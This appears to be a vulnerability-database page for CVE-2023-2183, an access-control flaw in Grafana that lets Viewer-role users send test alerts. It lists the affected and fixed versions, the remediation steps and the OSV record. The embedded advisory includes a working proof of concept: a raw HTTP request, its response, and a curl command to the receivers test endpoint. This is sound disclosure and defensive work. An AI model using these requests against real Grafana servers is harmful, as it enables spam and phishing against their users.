CVE-2023-2183: Github.com/grafana/grafana Viewer Can Send Test Alerts Vulnerability
MODERATECVE-2023-2183 is a MODERATE (CVSS 4.1) viewer can send test alerts vulnerability (CWE-284: Improper Access Control) affecting Github.com/grafana/grafana libraries in the Go ecosystem. The issue involves viewer can send test alerts. Remediation is available by upgrading affected packages to version 8.5.26, 9.2.19, 9.3.15, 9.4.12, 9.5.3.
CVE-2023-2183 at a Glance
Security Impact
CVSS: 4.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N).
How to Fix CVE-2023-2183
To remediate this vulnerability, upgrade all affected Github.com/grafana/grafana dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/grafana/grafana to 8.5.26
Upgrade github.com/grafana/grafana to 9.2.19
Upgrade github.com/grafana/grafana to 9.3.15
Upgrade github.com/grafana/grafana to 9.4.12
Upgrade github.com/grafana/grafana to 9.5.3
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/grafana/grafana
How to Check if You Are Affected
To determine whether your application is affected by CVE-2023-2183, inspect your project dependencies for Github.com/grafana/grafana:
inspect dependencies for github.com/grafana/grafana
Analyze the terminal output to locate any version of Github.com/grafana/grafana in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 8.5.26), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-284: Improper Access Control, where the product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. In Github.com/grafana/grafana, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2023-2183 Affected Github.com/grafana/grafana Versions
5 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/grafana/grafana
|
Go |
< 8.5.26
|
8.5.26
|
|
github.com/grafana/grafana
|
Go |
≥ 9.0.0
< 9.2.19
|
9.2.19
|
|
github.com/grafana/grafana
|
Go |
≥ 9.3.0
< 9.3.15
|
9.3.15
|
|
github.com/grafana/grafana
|
Go |
≥ 9.4.0
< 9.4.12
|
9.4.12
|
|
github.com/grafana/grafana
|
Go |
≥ 9.5.0
< 9.5.3
|
9.5.3
|
References
Frequently Asked Questions
What is CVE-2023-2183?
Which Github.com/grafana/grafana versions are affected?
What version fixes CVE-2023-2183?
Is github.com/grafana/grafana affected?
What is the CVSS score of CVE-2023-2183?
What CWE is associated with CVE-2023-2183?
How can I check Go dependencies for CVE-2023-2183?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-cvm3-pp2j-chr3",
"modified" : "2023-06-12T20:09:27Z",
"published" : "2023-06-12T20:09:27Z",
"aliases" : [ "CVE-2023-2183" ],
"summary" : "Grafana has Broken Access Control in Alert manager: Viewer can send test alerts",
"details" : "### Summary\nGrafana allows an attacker in the Viewer role, send alerts by API Alert - Test. The option is not available from the user panel UI for in the Viewer role. \n\n**Reason for the error**: The API does not check access to this function and allows it by users with the least rights, for example, the Viewer that does not see this option in the user panel. \n\nThis enables malicious users to abuse the functionality by sending multiple alert messages (e-mail, slack, etc…), spamming users, prepare Phishing attack or blocked SMTP server / IP and automatically moved all message to spam folder, add to black list IP.\n\n\n### Details\nThe logged-in user, in the Viewer role, in the user panel, does not have access to the test option of sending an e-mail alert. \n\nView of the panel for the user in the Viewer role:\n\n\nAdmin role - View panel for admin role:\n\n\nAdmin role - Next step – editing:\n\n\nAdmin role - Additional options:\n\n\n\n\n### PoC\n\n**HTTP Request by user in role Viewer**\n```\nPOST /api/alertmanager/grafana/config/api/v1/receivers/test HTTP/1.1\nHost: xxx\nCookie: grafana_session=xxx\nAccept: application/json, text/plain, */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: https://xxx/alerting/notifications/receivers/grafana-default-email/edit?alertmanager=grafana\naccept: application/json, text/plain, */*\ncontent-type: application/json\n…\n\n{\"receivers\":[{\"name\":\"test\",\"grafana_managed_receiver_configs\":[{\"settings\":{\"addresses\":\"<test@example.com>\",\n\"singleEmail\":true},\"secureSettings\":{},\"type\":\"email\",\"name\":\"test\",\"disableResolveMessage\":false}]}],\n\"alert\":{\"annotations\":{\"runbook_url\":\"http://example.com \",\"description\":\"tekst\",\"testowy\":\"test http://example.com\",\n\"more\":\"http://example.com \"},\"labels\":{}}}\n\n```\n\n**HTTP Response:**\n```\nHTTP/1.1 200 OK\nCache-Control: no-cache\nContent-Type: application/json\nExpires: -1\nPragma: no-cache\nX-Content-Type-Options: nosniff\nX-Frame-Options: deny\nX-Xss-Protection: 1; mode=block\nDate: Wed, 05 Apr 2023 10:43:00 GMT\nContent-Length: 471\n\n{\"alert\":{\"annotations\":{\"__value_string__\":\"[ metric='foo' labels={instance=bar} value=10 ]\",\"description\":\"tekst\",\n\"more\":\"http://example.com\",\"runbook_url\":\"http://example.com\",\"summary\":\"Notification test\",\n\"testowy\":\"testowy http://example.com\"},\"labels\":{\"alertname\":\"TestAlert\",\"instance\":\"Grafana\"}},\n\"receivers\":[{\"name\":\"test\",\"grafana_managed_receiver_configs\":[{\"name\":\"test\",\"uid\":\"ojUhNFL4k\",\"status\":\"ok\"}]}],\n\"notified_at\":\"2023-04-05T12:43:00.1430203+02:00\"}\n\n```\n\n## Result:\nThe attacker can send as a template alert or plain/text.\n\n\n\n\n### Impact\nAs I showed above, an enabled user in the lowest role can execute an endpoint API that allows him to send an e-mail as an alert and impersonate its content. If modified accordingly, the recipient may fall victim to a Phishing attack or a targeted attack to block the SMTP server. \n\nFrom a practical point of view, this means that for each \"GrafanaReceiver\" e.g.: Slack, E-mail, etc.. You can send any alert message from user with the least privileged. \n\nCURL example – using a user session in the Viewer role:\n\n```\ncurl -i -s -k -X $'POST' \\\n -H $'Host: localhost:3002' -H $'Content-Length: 386' -H $'sec-ch-ua: \\\"Not:A-Brand\\\";v=\\\"99\\\", \\\"Chromium\\\";v=\\\"112\\\"' -H $'accept: application/json, text/plain, */*' -H $'content-type: application/json' -H $'x-grafana-org-id: 1' -H $'sec-ch-ua-mobile: ?0' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/527.36 (KHTML, like Gecko) Chrome/112.0.2615.50 Safari/11.36' -H $'sec-ch-ua-platform: \\\"macOS\\\"' -H $'Origin: http://localhost:3002' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Dest: empty' -H $'Referer: http://localhost:3002/' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: en-GB,en-US;q=0.9,en;q=0.8' -H $'Connection: close' \\\n -b $'grafana_session=xxx' \\\n --data-binary $'{\\\"receivers\\\":[{\\\"name\\\":\\\"test\\\",\\\"grafana_managed_receiver_configs\\\":[{\\\"settings\\\":{\\\"addresses\\\":\\\"<test@example.com>\\\",\\\"singleEmail\\\":true\\x0d\\x0a},\\\"secureSettings\\\":{},\\\"type\\\":\\\"email\\\",\\\"name\\\":\\\"test\\\",\\\"disableResolveMessage\\\":false}]}],\\\"alert\\\":{\\\"annotations\\\":{\\\"runbook_url\\\":\\\"http://example.com\\\",\\\"description\\\":\\\"tekst\\\",\\\"testowy\\\":\\\"testowy http://example.com\\\",\\x0d\\x0a\\\"more\\\":\\\"http://example.com\\\"\\x0d\\x0a},\\\"labels\\\":{}}}\\x0d\\x0a' \\\n $'http://localhost:3002/api/alertmanager/grafana/config/api/v1/receivers/test'\n```\n\n### Mitigation\n\n1. In the SMTP server configuration settings, limit the ability to send multiple e-mails to the same e-mail address per unit of time / threshold. \n2. Check the API for the possibility of accessing this endpoint for other roles than admin\n",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/grafana/grafana"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "8.5.26"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/grafana/grafana"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "9.0.0"
}, {
"fixed" : "9.2.19"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/grafana/grafana"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "9.3.0"
}, {
"fixed" : "9.3.15"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/grafana/grafana"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "9.4.0"
}, {
"fixed" : "9.4.12"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/grafana/grafana"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "9.5.0"
}, {
"fixed" : "9.5.3"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/grafana/bugbounty/security/advisories/GHSA-cvm3-pp2j-chr3"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-2183"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/grafana/bugbounty"
}, {
"type" : "WEB",
"url" : "https://grafana.com/security/security-advisories/cve-2023-2183"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-284" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2023-06-12T20:09:27Z",
"nvd_published_at" : null
}
}